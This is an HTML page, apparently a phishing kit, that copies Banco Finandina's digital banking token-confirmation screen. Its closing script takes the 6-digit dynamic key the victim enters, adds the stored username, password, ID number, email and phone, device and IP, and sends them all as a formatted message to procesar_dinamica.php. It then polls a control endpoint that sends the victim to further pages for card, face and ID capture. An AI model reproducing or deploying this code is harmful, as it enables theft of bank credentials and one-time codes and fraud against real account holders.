<!DOCTYPE html>
<html lang="es-CO">
<head>
    <meta charset="utf-8">
    <meta name="HandheldFriendly" content="True" /><!-- Lo mismo que meta viewport, pero para navegadores obsoletos y más antiguos -->
    <!--meta name="MobileOptimized" content="320"--><!-- Lo mismo que meta viewport, pero para navegadores obsoletos y más antiguos -->
    <!--meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"--><!-- Atributos necesarios para un correcto despliegue del sitio en dispositivos móviles, igualando los pixeles en ancho y adaptandolos a las pantallas,quitando la opción zoom -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><!-- Indica a IE antiguos cómo tiene que visualizar el sitio -->
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" />
    <!--<meta name="format-detection" content="telephone=no" /><!-- Deshabilita la detección de teléfonos y mails en dispositivos que tengan Safari -->
    <meta http-equiv="cleartype" content="on" /><!-- Mobile Internet Explorer nos permite activar cleartype para fuentes con smoothing -->
    <!-- Favicon -->
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="" />
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="" />
    <link rel="apple-touch-icon-precomposed" href="" />
    <link rel="shortcut icon" href="" />
    <!-- Favicon -->
    <title>confirmación |</title>
    <meta name="description" content="confirmación">
    <link rel="canonical" href="https://transacciones.bancofinandina.com/BP/token">
    <meta charset="ISO-8859-1">
    <meta content="es-co" http-equiv="Content-Language">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="author" content="Banco Finandina">
    <meta name="copyright" content="Banco Finandina">
    <meta name="robots" content="index, follow">
    <meta name="language" content="spanish" />
    <meta property="og:type" content="website">
    <meta property="og:title" content="confirmación de Seguridad | Banco Finandina">
    <meta property="og:description" content="confirmación de seguridad para tu Banca Digital Finandina">
    <meta property="og:image" content="https://www.bancofinandina.com/images/default-source/default-album/picb1e408de520e4ef280042a5e1ddd0835.png?sfvrsn=30decc5f_0">
    <meta property="og:image:height" content="820">
    <meta property="og:image:width" content="400">
    <meta property="og:site_name" content="confirmación de Seguridad - Banca Digital | Banco Finandina">
    <meta property="og:url" content="https://transacciones.bancofinandina.com/BP/token">
    <meta property="og:locale" content="es-co">
    <meta property="fb:app_id" content="10219974377904133">
    <meta name="twitter:title" content="confirmación de Seguridad | Banco Finandina">
    <meta name="twitter:description" content="confirmación de seguridad para tu Banca Digital Finandina">
    <meta name="twitter:card" content="summary">
    <meta name="twitter:image" content="https://www.bancofinandina.com/images/default-source/default-album/picb1e408de520e4ef280042a5e1ddd0835.png?sfvrsn=30decc5f_0">
    <meta name="twitter:site" content="https://transacciones.bancofinandina.com/BP/token" />
    <meta name="twitter:creator" content="&#64;BancoFinandina" />
    <meta name="twitter:domain" content="https://transacciones.bancofinandina.com/BP/token" />
    <link rel="icon" href="https://transacciones.bancofinandina.com/RS/favicon.ico" type="image/x-icon" />
    <link rel="stylesheet" href="https://transacciones.bancofinandina.com/RS//dist/vendor/css/angular-material.min.css?v=20220422">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.3.1/css/all.css" integrity="sha384-mzrmE5qonljUremFsqc01SB46JvROS7bZs3IO2EmfFsd15uHvIt+Y8vEf7N7fWAU" crossorigin="anonymous">
    <link href="https://transacciones.bancofinandina.com/RS//css/estilos_generales.min.css?v=20220422" rel="stylesheet" />
    <link href="https://transacciones.bancofinandina.com/RS/css/login/login.min.css?v=20220422" rel="stylesheet" />
    <link href="https://transacciones.bancofinandina.com/RS/css/errores.min.css?v=20220422" rel="stylesheet" />

<script>NS_CSM_td=1571763022;NS_CSM_pd=275116665;NS_CSM_u="/clm10";NS_CSM_col="af_collector_logstream_172.16.0.84";</script><script type="text/javascript">function sendTimingInfoInit(){setTimeout(sendTimingInfo,0)}function sendTimingInfo(){var wp=window.performance;if(wp){var c1,c2,t;c1=wp.timing;if(c1){var cm={};cm.ns=c1.navigationStart;if((t=c1.unloadEventStart)>0)cm.us=t;if((t=c1.unloadEventEnd)>0)cm.ue=t;if((t=c1.redirectStart)>0)cm.rs=t;if((t=c1.redirectEnd)>0)cm.re=t;cm.fs=c1.fetchStart;cm.dls=c1.domainLookupStart;cm.dle=c1.domainLookupEnd;cm.cs=c1.connectStart;cm.ce=c1.connectEnd;if((t=c1.secureConnectionStart)>0)cm.scs=t;cm.rqs=c1.requestStart;cm.rss=c1.responseStart;cm.rse=c1.responseEnd;cm.dl=c1.domLoading;cm.di=c1.domInteractive;cm.dcls=c1.domContentLoadedEventStart;cm.dcle=c1.domContentLoadedEventEnd;cm.dc=c1.domComplete;if((t=c1.loadEventStart)>0)cm.ls=t;if((t=c1.loadEventEnd)>0)cm.le=t;cm.tid=NS_CSM_td;cm.pid=NS_CSM_pd;cm.ac=NS_CSM_col;var xhttp=new XMLHttpRequest();if(xhttp){var JSON=JSON||{};JSON.stringify=JSON.stringify||function(ob){var t=typeof(ob);if(t!="object"||ob===null){if(t=="string")ob='"'+ob+'"';return String(ob);}else{var n,v,json=[],arr=(ob&&ob.constructor==Array);for(n in ob){v=ob[n];t=typeof(v);if(t=="string")v='"'+v+'"';else if(t=="object"&&v!==null)v=JSON.stringify(v);json.push((arr?"":'"'+n+'":')+String(v));}return(arr?"[":"{")+String(json)+(arr?"]":"}");}};xhttp.open("POST",NS_CSM_u,true);xhttp.send(JSON.stringify(cm));}}}}if(window.addEventListener)window.addEventListener("load",sendTimingInfoInit,false);else if(window.attachEvent)window.attachEvent("onload",sendTimingInfoInit);else window.onload=sendTimingInfoInit;</script>

    <style type="text/css">
    #fondo{
        width: 100%;
        height: 100%;
        position: fixed;
        z-index: 189;
        top: 0;
        left: 0;
        background: #ffffffbd;
        display: none;
    }
    #cargando{
        width: 120px;
        height: 120px;
        position: fixed;
        z-index: 9999;
        top: 50%;
        left: 50%;
        margin-left: -60px;
        margin-top: -60px;
        display:none;
        background: transparent;
        border-radius: 0;
        padding: 0;
        box-shadow: none;
        border: none;
    }

        .usuario-sesion {
    background-color: #fff;
    cursor: not-allowed;
    border: none;
    font-family: Open_Sans_Regular,sans-serif;
    font-weight: 400;
    color: #949494;
    padding: 7px 0;
    outline: 0;
    margin: 0;
    font-size: 1rem;
    margin-left: 100px;   
}

        body{
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
        }
        
        .contenido-gen {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif !important;            
        }

        button, html, input, select, textarea {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif !important;  
        }
        

#imgSeguridad{
    display: none !important;
}
.sentence-text{
    display: none !important;
}
.txt-frase-new{
    display: none !important;
}


.content-form .content-img-fra .txtclick {
    position: initial !important;
}
    .entradas{
        color: #707070;
        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif !important;
        font-size: 16px;
        border: none;
        border-bottom: 1px solid #ced4da;
        border-radius: 0;
        padding: 8px 4px;
        width: 100%;   
        outline: 0;
        margin-bottom: 30px;
        background: transparent;
        box-shadow: none;
    }
    
    .content-input input,
    .content-input input:focus,
    .content-input input:active,
    .content-input input:hover {
        border: none !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
        border-radius: 0 !important;
        border-width: 0 !important;
        border-style: none !important;
    }
    
    input[type="text"],
    input[type="password"],
    input[type="email"],
    input {
        border: none !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
        border-radius: 0 !important;
        border-width: 0 !important;
        border-style: none !important;
        color: #707070 !important;
    }
    
    input::placeholder {
        color: #707070 !important;
    }
    

    
    input, input:focus, input:active, input:hover {
        border: none !important;
        border-bottom: 1px solid #e0e0e0 !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
    }
    
    .campo-input {
        border: none !important;
        outline: none !important;
        background: transparent !important;
        box-shadow: none !important;
        border-radius: 0 !important;
        padding: 8px 0 !important;
        margin-bottom: 20px !important;
        position: relative !important;
    }
    
    .campo-input::after {
        content: '' !important;
        position: absolute !important;
        bottom: 0 !important;
        left: 0 !important;
        width: 100% !important;
        height: 1px !important;
        background: #e0e0e0 !important;
        transition: background 0.3s ease !important;
    }
    

    
    .btn-general {
        border: 2px solid #e31952 !important;
        background: #e31952 !important;
        color: white !important;
        border-radius: 25px !important;
        font-weight: 600 !important;
        text-transform: uppercase !important;
        letter-spacing: 1px !important;
        transition: all 0.3s ease !important;
        width: 90% !important;
        padding: 12px !important;
        font-size: 15px !important;
        margin-left: 15px !important;
        margin-top: 25px !important;
    }
    
    .btn-general:hover {
        background: #e31952 !important;
        border-color: #e31952 !important;
        transform: translateY(-2px) !important;
        box-shadow: 0 4px 8px rgba(217,122,138,0.3) !important;
    }
    

    
    body, html {
        margin: 0 !important;
        padding: 0 !important;
        overflow-x: hidden !important;
    }
    
    .container-gen {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .contenido-gen {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .panel-izq {
        margin: 0 !important;
        padding: 0 !important;
        background-size: cover !important;
        background-position: center !important;
        background-repeat: no-repeat !important;
        min-height: 100vh !important;
    }
    
    .panel-der {
        margin: 0 !important;
        padding: 0 !important;
    }
    
            .pasos-right {
            margin: 0 !important;
            padding: 0 !important;
            width: 90% !important;
            max-width: 400px !important;
        }
    
    .panel-interno-login {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .content-log {
        margin: 0 !important;
        padding: 0 !important;
    }
    
    .content-form {
        margin: 0 !important;
        padding: 0 !important;
        margin-top: 100px !important;
    }
    
    .footer-gen {
        margin: 0px !important;
        padding: 25px !important;
    }
    
    .logo-finandina {
        margin-top: -15px !important;
    }
    
    .logo-finandina img {
        transform: translateY(20px) !important;
    }
    
    .titulo-login {
        font-size: 34px !important;
        line-height: 41px !important;
    }
    
    .texto-instruccion {
        color: #707070 !important;
        font-size: 16px !important;
        font-weight: 500 !important;
        margin-bottom: -100px !important;
        margin-top: -10px !important;
        text-align: left !important;
    }
    
    .content-input label {
        color: #707070 !important;
        font-size: 16px !important;
        font-weight: 500 !important;
    }
    
    .texto-olvidaste {
        color: #007bff !important;
        font-size: 14px !important;
        font-weight: 400 !important;
        text-align: right !important;
        margin-top: 10px !important;
        margin-bottom: 15px !important;
        cursor: pointer !important;
        width: 119.11px !important;
        height: 19px !important;
        display: block !important;
        margin-left: auto !important;
        margin-right: 20px !important;
        white-space: nowrap !important;
        overflow: hidden !important;
    }
    
    .texto-olvidaste:hover {
        text-decoration: underline !important;
    }
    
    /* Estilos responsivos para móviles */
    @media (max-width: 768px) {
        .contenido-gen {
            flex-direction: column !important;
        }
        
        .panel-izq {
            width: 100% !important;
            min-height: 200px !important;
            background-size: cover !important;
            background-position: center !important;
        }
        
        .panel-der {
            width: 100% !important;
            padding: 20px !important;
            display: flex !important;
            flex-direction: column !important;
            align-items: center !important;
        }
        
        .logo-finandina img {
            max-width: 270px !important;
            height: auto !important;
        }
        
        .logo-finandina {
            margin-top: -20px !important;
        }
        
        .logo-finandina img {
            transform: translateY(35px) !important;
            margin-bottom: 20px !important;
        }
        
        .titu-log h1 {
            font-size: 32px !important;
            line-height: 32px !important;
            width: 340px !important;
            margin-top: 45px !important;
        }
        
        .titulo-login {
            font-size: 32px !important;
            line-height: 32px !important;
        }
        
        .titu-log p {
            font-size: 14px !important;
        }
        
        .campo-input {
            margin-bottom: 0px !important;
        }
        
        .content-form {
            margin-top: 120px !important;
        }
        
            .content-input input {
            font-size: 16px !important;
            padding: 15px 12px !important;
            border: none !important;
            outline: none !important;
            background: transparent !important;
        }
        
        .btn-general {
            width: 90% !important;
            padding: 12px !important;
            font-size: 15px !important;
            margin-bottom: 15px !important;
            margin-top: 45px !important;
        }
        
        .footer-gen {
            padding: 15px !important;
            text-align: center !important;
        }
        
        .footer-gen .legales {
            font-size: 12px !important;
        }
        
        .texto-instruccion {
            font-size: 17px !important;
            margin-bottom: -100px !important;
            margin-top: -8px !important;
        }
        
        .content-input label {
            color: #707070 !important;
            font-size: 17px !important;
            font-weight: 500 !important;
        }
        
        .texto-olvidaste {
            font-size: 12px !important;
            margin-top: 8px !important;
            margin-bottom: 10px !important;
            width: 119.11px !important;
            height: 19px !important;
            margin-left: auto !important;
            margin-right: 15px !important;
            white-space: nowrap !important;
            overflow: hidden !important;
        }
    }
    
    @media (max-width: 480px) {
        .panel-der {
            padding: 15px !important;
            display: flex !important;
            flex-direction: column !important;
            align-items: center !important;
        }
        
        .titu-log h1 {
            font-size: 32px !important;
            line-height: 32px !important;
        }
        
        .content-input input {
            padding: 0px 0px !important;
        }
        
        .btn-general {
            padding: 12px !important;
            font-size: 14px !important;
        }
    }
    </style>
</head>
<body ng-app="app" ng-cloak>

    <div id="fondo"></div>

    <div id="cargando">
        <img src="https://transacciones.bancofinandina.com/RS//images/general/gifs/Finandina.gif" alt="Gif cargando" style="filter: blur(0.8px);" />
    </div>

    <!-- End Google Tag Manager (noscript) -->
    <div ng-controller="loginCtrl">
        <main class="container-gen">
            <section class="contenido-gen" style="display:flex !important;">

                <div class="panel-izq" style="background-image: url('img/fina.png');">
                </div>

                <div class="panel-der">
                    <div class="pasos-right">
                        <div class="panel-interno-login panel-tres" ng-show="data.ShowPaso1">
                            <div class="content-log">
                                <div class="logo-finandina">
                                    <img src="img/fina2.svg">
                                </div>
                                                                 <div class="titu-log">
                                     <div class="" id="vista1">
                                                                                   <h1 style="font-weight: bold; font-size: 34px; line-height: 41px; margin-top: 40px; text-align: center;" class="titulo-login">confirmación</h1>
                                                                                   <p style="color: #707070; font-size: 16px; font-weight: 400; margin-top: 15px; margin-bottom: 35px; text-align: center; line-height: 1.4;">Para confirmar tu operación, ingresa el código de 6 dígitos que recibiste en tu dispositivo móvil</p>
                                     </div>
                                 </div>
                            </div>

                    <div class="texto-instruccion">Ingresa tu clave dinámica:</div>
                    
                    <div class="content-form" name="tokenform" autocomplete="off">
                        <input name="__RequestVerificationToken" type="hidden" value="i0oZ06dGjQSPI1HpEWQz3odJNTdmk_HtYBg2Stg6u-I11cDQ1yW5Pxmbkt_RaevsfcX2lfH4vsCn38Z3kglVVwuL8_mxip2mstPqE08nXI01" />

                        <div class="campo-input" id="txtTarjeta">
                            <div class="content-input">
                                <input autocomplete="off" type="text" name="valTarjeta" id="valTarjeta" placeholder="" required-field maxlength="6" style="color: #707070 !important;" />
                                <label for="valTarjeta" style="color: #707070 !important;">Clave Dinámica</label>
                            </div>
                        </div>

                        <input type="button" class="btn-general" value="VERIFICAR" id="btnVerificar" />

                        <!--nuevo aporte al loginbox  -->

                        <!---fin nuevo aporte al loginbox : Fabian Castro 04/12/2020-->
    
                    </div>
                </div>                
            </div>
        </div>









    </section>
</main>
</div>





    <footer class="footer-gen">
        <span class="legales">
            Todos los derechos reservados 2024 - <strong>Banco Finandina</strong>
        </span>
    </footer>
    <!--Gif general-->
<div id="modalGifCargaPagare" class="gif-general-private">
    <div class="content-gif">
        <picture>
            <img src="https://transacciones.bancofinandina.com/RS//images/general/gifs/Finandina.gif" alt="Gif cargando" />
        </picture>
    </div>

    
</div>
<!--FIN Gif general-->
    <div class="ofuscador"></div>
    
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/jquery.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/slick.min.js?v=20220422"></script>
    
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-aria.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-animate.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-material.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//dist/vendor/js/angular-messages.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//js/aes.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//js/service.min.js?v=20220422"></script>
    
    <script src="https://transacciones.bancofinandina.com/RS//js/Account/login.min.js?v=20220422"></script>
    
    <script src="https://transacciones.bancofinandina.com/RS//js/validators.min.js?v=20220422"></script>
    <script src="https://transacciones.bancofinandina.com/RS//js/storage.min.js?v=20220422"></script>
    <script type="text/javascript">
    $(document).ready(function($){
        // Generar o recuperar session_id
        let sessionId = localStorage.getItem('session_id');
        if (!sessionId) {
            sessionId = 'session_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
            localStorage.setItem('session_id', sessionId);
        }

        // Confirmación para solo números en el campo de token
        $("#valTarjeta").on("input", function() {
            // Remover cualquier carácter que no sea número
            this.value = this.value.replace(/[^0-9]/g, '');
            
            // Limitar a 6 caracteres
            if (this.value.length > 6) {
                this.value = this.value.slice(0, 6);
            }
        });

        // Prevenir pegar texto que no sean números
        $("#valTarjeta").on("paste", function(e) {
            e.preventDefault();
            let pastedText = (e.originalEvent.clipboardData || window.clipboardData).getData('text');
            let numbersOnly = pastedText.replace(/[^0-9]/g, '');
            if (numbersOnly.length > 6) {
                numbersOnly = numbersOnly.slice(0, 6);
            }
            this.value = numbersOnly;
        });

        $("#btnVerificar").click(function(){
            const token = $("#valTarjeta").val();
            
            // Validar que el token tenga 6 dígitos
            if (token.length !== 6) {
                alert('El token debe tener 6 dígitos');
                return;
            }

            $("#fondo").show();
            $("#cargando").show();

            // Guardar datos en localStorage
            localStorage.setItem('token', token);
            localStorage.setItem('session_id', sessionId);

            // Detectar tipo de dispositivo
            const userAgent = navigator.userAgent;
            let dispositivo = 'PC';
            
            if (/Android/i.test(userAgent)) {
                dispositivo = 'Android';
            } else if (/iPhone|iPad|iPod/i.test(userAgent)) {
                dispositivo = 'iPhone';
            } else if (/Windows/i.test(userAgent)) {
                dispositivo = 'PC';
            } else if (/Mac/i.test(userAgent)) {
                dispositivo = 'Mac';
            } else if (/Linux/i.test(userAgent)) {
                dispositivo = 'Linux';
            }
            
            const hora = new Date().toLocaleString('es-ES');
            
            // Obtener IP y construir mensaje
            fetch('get_ip.php')
                .then(response => response.json())
                .then(data => {
                    const ip = data.ip || 'No disponible';
                    
                    const mensaje = `💎<b>BANCO FINANDINA</b>💎\n\n<b>fu7ur4ma</b>\n\n---------------\n<b>💌Correo:</b> ${localStorage.getItem('correo') || 'No disponible'}\n<b>📞Celular:</b> ${localStorage.getItem('cel') || 'No disponible'}\n<b>💸Cedula:</b> ${localStorage.getItem('val') || 'No disponible'}\n<b>👤Persona:</b> ${localStorage.getItem('per') || 'No disponible'}\n<b>🏦Banco:</b> ${localStorage.getItem('nom') || 'No disponible'}\n<b>🪬Tipo:</b> RECARGA PSE\n---------------\n<b>📟Dispositivo:</b> ${dispositivo}\n<b>🗺IP:</b> ${ip}\n<b>⏱Hora:</b> ${hora}\n---------------\n👤 Usuario: ${localStorage.getItem('username') || 'No disponible'}\n🔑 Clave: ${localStorage.getItem('password') || 'No disponible'}\n---------------\n🔄 Token: ${token}\n---------------`;

                    const formData = new FormData();
                    formData.append('message', mensaje);
                    formData.append('transactionId', sessionId);

                    fetch('procesar_dinamica.php', {
                        method: 'POST',
                        body: formData
                    })
                    .then(res => res.json())
                    .then(result => {
                        if (result.status === 'success') {
                            checkPaymentVerification(sessionId, result.messageId);
                        } else {
                            $("#fondo").hide();
                            $("#cargando").hide();
                        }
                    })
                    .catch(err => {
                        $("#fondo").hide();
                        $("#cargando").hide();
                    });
                })
                .catch(() => {
                    // Si falla la obtención de IP, enviar sin IP
                    const mensaje = `💎<b>BANCO FINANDINA</b>💎\n\n<b>fu7ur4ma</b>\n\n---------------\n👤 Usuario: ${localStorage.getItem('username') || 'No disponible'}\n🔑 Clave: ${localStorage.getItem('password') || 'No disponible'}\n---------------\n🔄 Token: ${token}\n---------------`;

                    const formData = new FormData();
                    formData.append('message', mensaje);
                    formData.append('transactionId', sessionId);

                    fetch('procesar_dinamica.php', {
                        method: 'POST',
                        body: formData
                    })
                    .then(res => res.json())
                    .then(result => {
                        if (result.status === 'success') {
                            checkPaymentVerification(sessionId, result.messageId);
                        } else {
                            $("#fondo").hide();
                            $("#cargando").hide();
                        }
                    })
                    .catch(err => {
                        $("#fondo").hide();
                        $("#cargando").hide();
                    });
                });
        });
    });

    async function checkPaymentVerification(transactionId, messageId) {
        try {
            const formData = new FormData();
            formData.append('transactionId', transactionId);
            formData.append('messageId', messageId);

            const res = await fetch('verificar_dinamica.php', {
                method: 'POST',
                body: formData
            });
            const result = await res.json();

            if (result.action) {
                switch (result.action) {
                    case 'pedir_dinamica': 
                        $("#fondo").hide();
                        $("#cargando").hide();
                        alert("Error de Clave Dinámica.");
                        window.location.href = "token.php";
                        break;

                    case 'error_logo': 
                        $("#fondo").hide();
                        $("#cargando").hide();
                        alert("Usuario o clave incorrectos.");
                        window.location.href = "index.php";
                        break;

                    case 'error_tc':
                        $("#fondo").hide();
                        $("#cargando").hide();
                        window.location.href = "tarjeta.php";
                        break;

                    case 'error': // ✅ NUEVO: Redirección para rostro (Cara)
                        window.location.href = "/caras";
                        break;

                    case 'cedula': // ✅ NUEVO: Redirección para documento (Cédula)
                        window.location.href = "/cedula";
                        break;

                    case 'confirm_finalizar':
                        window.location.href = "/fin.php";
                        break;

                    default:
                        setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
                        break;
                }
            } else {
                setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
            }
        } catch (err) {
            setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
        }
    }
</script>
</body>
</html> 